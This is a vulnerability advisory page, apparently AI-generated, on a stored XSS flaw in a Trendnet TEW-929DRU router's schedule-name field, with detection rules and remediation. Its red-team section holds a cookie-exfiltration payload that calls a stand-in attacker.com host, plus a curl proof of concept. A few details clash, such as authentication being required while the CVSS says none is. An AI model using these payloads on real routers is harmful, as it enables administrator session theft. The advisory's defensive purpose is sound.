CVE-2025-25429
Executive Summary
CVE-2025-25429 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Trendnet TEW-929DRU router, specifically in firmware version 1.0.0.10. The flaw resides in the have_same_name function on the /addschedule.htm page, where the r_name variable is not properly sanitized before being stored and later rendered. An authenticated attacker can inject arbitrary JavaScript into the schedule name field, which will execute in the context of any administrator viewing the schedule list. This can lead to session hijacking, credential theft, or further compromise of the router’s administrative interface.
Note: This vulnerability is unpatched as of the latest available firmware. Users are advised to restrict administrative access to trusted networks and monitor for official updates from Trendnet.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N) – but requires user interaction (admin viewing the schedule)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for exposed or poorly segmented networks.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (also known as Persistent XSS). The have_same_name function on /addschedule.htm is responsible for validating or processing the r_name parameter when adding a new schedule rule. The application fails to sanitize or encode the input before storing it in the router’s configuration database. When an administrator later views the schedule list (likely via /schedule.htm or similar), the stored payload is rendered in the HTML without proper escaping, causing the browser to execute the injected script.
Attack Flow:
- Attacker gains access to the router’s web interface (requires authentication, but default credentials are often unchanged).
- Attacker navigates to
/addschedule.htmand submits a new schedule with a maliciousr_namevalue, e.g.,<script>alert('XSS')</script>. - The router stores this payload in its configuration.
- When an administrator visits the schedule management page, the payload executes in their browser.
- The attacker can steal session cookies, perform actions on behalf of the admin, or redirect to phishing pages.
Root Cause: Lack of output encoding on the r_name variable when rendering the schedule list. The have_same_name function likely checks for duplicate names but does not sanitize the input.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
function have_same_name(name) {
// No sanitization of 'name' before storage
var schedule = { name: name, ... };
saveSchedule(schedule);
}
Patched Code (Expected):
function have_same_name(name) {
// Sanitize input to prevent XSS
var sanitized = sanitizeHTML(name);
var schedule = { name: sanitized, ... };
saveSchedule(schedule);
}
Note: Since no official patch exists, the above is a best-practice remediation. The router’s firmware likely uses embedded C/C++ or Lua for web handling; the same principle applies.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to the Trendnet TEW-929DRU web interface (default credentials: admin/admin).
- Ability to reach the router’s HTTP server (port 80/443).
Exploit Steps:
- Log in to the router.
- Navigate to
http://<router-ip>/addschedule.htm. - In the
r_namefield, inject a payload such as:<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- When an admin views the schedule list, the script executes, exfiltrating the session cookie.
Proof-of-Concept (PoC) using cURL:
curl -X POST http://<router-ip>/addschedule.htm \
-d "r_name=<script>alert('XSS')</script>&other_params=..."
Blue Team
Detection:
- Monitor HTTP POST requests to
/addschedule.htmfor suspiciousr_namevalues containing<script>,onerror=, or other HTML event handlers. - Look for outbound connections from the router to unknown IPs (potential cookie exfiltration).
- Check router logs for unusual schedule entries.
Mitigation:
- Restrict administrative access to trusted IPs only.
- Change default credentials immediately.
- Disable remote management if not required.
- Use a web application firewall (WAF) to filter XSS payloads.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST to
/addschedule.htmwithr_namecontaining<script>tags. - Outbound HTTP requests from the router to attacker-controlled domains (e.g.,
attacker.com/steal?cookie=...).
- HTTP POST to
- Host (Router):
- Unusual schedule names in the router’s configuration (e.g.,
"><script>alert(1)</script>). - Modified or new entries in the router’s NVRAM or config file.
- Unusual schedule names in the router’s configuration (e.g.,
- Logs:
- Repeated failed login attempts (if attacker brute-forces credentials).
- Access logs showing
/addschedule.htmfrom unexpected IPs.
Detection Engineering
YARA Rule
rule CVE_2025_25429_XSS_Payload {
meta:
description = "Detects stored XSS payload in Trendnet TEW-929DRU schedule name"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-25429"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Trendnet TEW-929DRU Stored XSS via r_name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /addschedule.htm with XSS payloads in r_name
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/addschedule.htm'
keywords:
- 'r_name='
- '<script'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in schedule names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-25429 Trendnet TEW-929DRU Stored XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/addschedule.htm"; http_uri;
content:"r_name="; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2025-25429;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Change default credentials – Use a strong, unique password for the router admin account.
- Disable remote management – If not needed, turn off WAN-side access to the web interface.
- Restrict admin access – Allow only trusted IPs to access the router’s management interface.
- Monitor for suspicious activity – Check logs for XSS attempts or unusual schedule entries.
Long-Term Fix:
- Vendor patch: Trendnet must release a firmware update that sanitizes the
r_nameinput. Until then, the vulnerability remains unpatched. - Workaround: If possible, use a reverse proxy or WAF to filter XSS payloads before they reach the router.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.